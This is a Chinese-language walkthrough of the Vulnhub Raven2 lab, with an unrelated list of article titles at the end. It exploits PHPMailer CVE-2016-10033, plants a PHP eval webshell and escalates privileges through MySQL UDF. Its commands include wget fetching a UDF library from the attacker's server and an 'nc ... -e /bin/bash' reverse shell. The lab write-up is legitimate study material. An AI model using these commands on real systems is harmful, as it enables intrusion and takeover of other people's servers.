文章目录

  • 前言
  • 一、udf提权介绍
    • udf介绍
    • 如何使用udf进行提权
  • 二、信息收集
    • 主机探测
    • nmap扫描
    • /etc/hosts配置
    • dirb扫描后台
    • /vendor
  • 三、getshell
    • 利用CVE-2016-10033
    • 蚁剑上线
  • 四、udf提权
    • 数据库信息收集及脚本下载
    • 提权

前言

最近学习的时候学到了udf提权,想着来实操一下。同时也记录一下我的理解。
kail 192.168.171.141
Raven2 192.168.171.171

一、udf提权介绍

udf介绍

udf(User Defined Function)是用户自定义函数,是通过添加新函数,对MYSQL的功能进行扩充。udf的原意是为了让开发者能够自己写方便自己的函数。

如何使用udf进行提权

udf提权就是利用到创建自定义函数(sys_eval,sys_exec,do_system等),在mysql中调用这个自定义的函数(sys_eval,sys_exec,do_system等)来实现获取对方主机的system的shell权限,从而达到提权的目的。攻击者如果获取了mysql的root账号情况下,就可以尝试进行udf提权。

Mysql版本大于5.1版本:udf.dll(udf.so)文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件放置于c:\windows或者c:\system32
如果目录不存在则利用NTFS数据流创建文件目录

udf提权可以用于windows系统(udf.dll)也可以用于linux平台(udf.so)。
但udf提权基本上用于windows系统(毕竟服务器基本都是windows),所以linux系统中mysql版本<5.1版本udf.so该放哪里我通过网上查找也没有得到结果。如果路过的大佬知晓的话可以指点一下。

二、信息收集

主机探测

arp scan -l


确定了靶机ip 192.168.171.171.

nmap扫描

nmap -A -T4 192.168.171.171


可以看见开启了22,80,以及111端口。

/etc/hosts配置

可以看到很正常的页面

其中BLOG和contact点击后会进行跳转。

contact.php是一个发送信息的地方

看见wordpress,理所当然的要点击Log in

遇见这种情况主要是域名解析问题(有原本的192.168.171.171变为raven.local),只需要在/etc/hosts文件加入192.168.171.171 raven.local即可



到这一步,很明显我们要想到使用wpscan,但是这个靶机如果用wpscan扫的话是返回不了什么重要信息的。

dirb扫描后台

既然wpscan也不能用,线索没了就开始扫描后台


扫后台是扫出很多路径的,我基本上都尝试访问过了,这里只把重要的路径列举出来

/vendor

在/vendor/PATH文件中我们找到了第一个flag,同时也让我们知道了路径为/var/www/html。


在/vendor/VERSION中我们了解到一个版本号5.2.16

在/vendor/SECURITY.md中我们找到了关于关于PHPMailer <5.2.18的漏洞,结合刚刚我们获得的版本号5.2.16,猜测应该是这个网站运用了phpmailer同时版本是5.2.16,上网查找【CVE-2016-10033】发现是可以远程代码执行的,那么我们就可以利用这个漏洞尝试getshell。

三、getshell

利用CVE-2016-10033

searchsploit phpmailer

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

该脚本还要进行修改


至于target的路径为什么是/contact.php,是因为利用该漏洞时攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组件功能时利用此漏洞。而在信息收集时我们知道contact.php就有发送信息的功能。

python3 40974.py


接下来访问192.168.171.171/hack.php就可以反弹shell了

蚁剑上线

获取交互性shell

python -c 'import pty; pty.spawn("/bin/bash")'
echo '<?php eval($_POST['123456']);?>' >> hack.php

蚁剑链接

因为有wordpress文件存在,肯定要看一下wordpress-config.php文件的

可以看到我们获取了mysql数据库的用户和密码,并且用户是root

user:root passwd:R@v3nSecurity

四、udf提权

数据库信息收集及脚本下载

登录数据库

show global variables like 'secure%';

如果secure_file_priv值为空则可写,为指定路径则是指定路径可写。

show variables like '%compile%';

可以看到系统为linux(x86_64)这可以确定等下我们要用的脚本。

select @@plugin_dir #查找具体目录
select @@basedir;#查看mysql目录

kali:
find / -name "*mysqludf*" 2>/dev/null
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root
python3 -m http.server 8000 #开启python3自带http服务 8000端口
Raven2:
cd /tmp
wget http://192.168。171.171:8000/lib_mysqludf_sys_64.so

提权

use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的udf文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so'));  #在hack中写入udf文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';  #将udf文件内容传入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';  #导入udf函数
select sys_exec('nc 192.168.171.141 6666 -e /bin/bash'); #执行

提权成功

Mysql udf提权靶场-vulnhub Raven2相关推荐

  1. Windows与Linux的MYSQL UDF提权分析

    原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...

  2. mysql udf提权_MySQL日志安全分析技巧

    常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...

  3. mysql udf提权_mysql——udf提权

    01 前言 udf = 'user defined function',即'用户自定义函数'.文件后缀为'.dll',常用c语言编写. 通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执 ...

  4. mysql udf提权hex_Mysql_UDF提权

    Mysql_UDF提权 作者:admin 发布于:2013-5-25 18:55 Saturday 分类:MYSQL Root权限 一.上传udf.dll 小于mysql5.1版本 C:\\WINDO ...

  5. MySQL UDF 提权

    概述 UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机 ...

  6. MYSQL UDF提权

    在学MYSQL的时候刚刚好看到了这个提权,很久之前用过别人现成的,但是一直时间没去细想, 这次就自己复现学习下. 0x00 UDF 什么是UDF? UDF (user defined function ...

  7. MySQL UDF提权执行系统命令

    目录 UDF UDF提权步骤 使用MSF进行UDF提权 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的 ...

  8. mysql udf提权原理_udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  9. mysql udf提权_三分钟解析postgresql提权

    本头条号所分享文章仅供学习交流,请勿非法使用! 近期遇到一些关于提权的问题,和大家分享一下~ 创建环境 介绍 docker中有一个COPY命令: COPY 在 PostgreSQL表和标准文件系统文件 ...

最新文章

  1. Keras Bug 解决方法 Exception ignored in: bound method BaseSession.__del__ of
  2. webservice mysql配置_Nginx配置WebService、MySQL、SQL Server、ORACLE等代理
  3. LOJ.6053.简单的函数(Min_25筛)
  4. Android中Canvas绘图之Shader使用图文详解
  5. LinearLayout(线性布局)
  6. Web前端开发笔记——第二章 HTML语言 第八节 表单标签
  7. 《C++ Primer》读书笔记 第三章
  8. 加加减减的奥秘——从数学到魔术的思考(三)
  9. 那些年,我们见过的 Java 服务端“问题”
  10. 免费直播 | 宏基因组云讲堂第二期由刘永鑫博士主持,特邀王金锋副研究员分享“用时序微生物组数据重现生物膜装配的动态过程”...
  11. php上传文件表单,php中关于普通表单多文件上传的处理方法
  12. Codeforces Round #518 (Div. 2) B LCM
  13. Base64序列化和反序列化
  14. 圆柱体积怎么算立方公式_圆柱体积计算公式 怎么计算
  15. Linux 下搭建web压力测试工具web polygraph
  16. android 设内网固定ip,如何给手机设置一个固定的内网ip
  17. Docker 搭建PHP开发环境
  18. SpringBoot项目的Liunx服务器部署(一)
  19. 工资被倒挂,想离职很正常,但这3种情况要警惕
  20. Bacteria(优先队列)

热门文章

  1. 尽己力,听天命。无愧于心,不惑于情
  2. WordPress如何采集WordPress采集插件推荐
  3. pthon 获取天干纪年
  4. 【2019-2020春学期】数据库作业9:SQL练习6 - INSERT / UPDATE / DELETE / NULL / VIEW
  5. C语言——小白鼠排队
  6. 家用路由器电源适配器9v和12v可以通用吗?
  7. Python调用谷歌翻译接口
  8. win内置ubuntu安装_win10内置的ubuntu安装在什么位置
  9. DBus的理解与应用
  10. Voyager 1.2.3 发布,Laravel 后台管理扩展包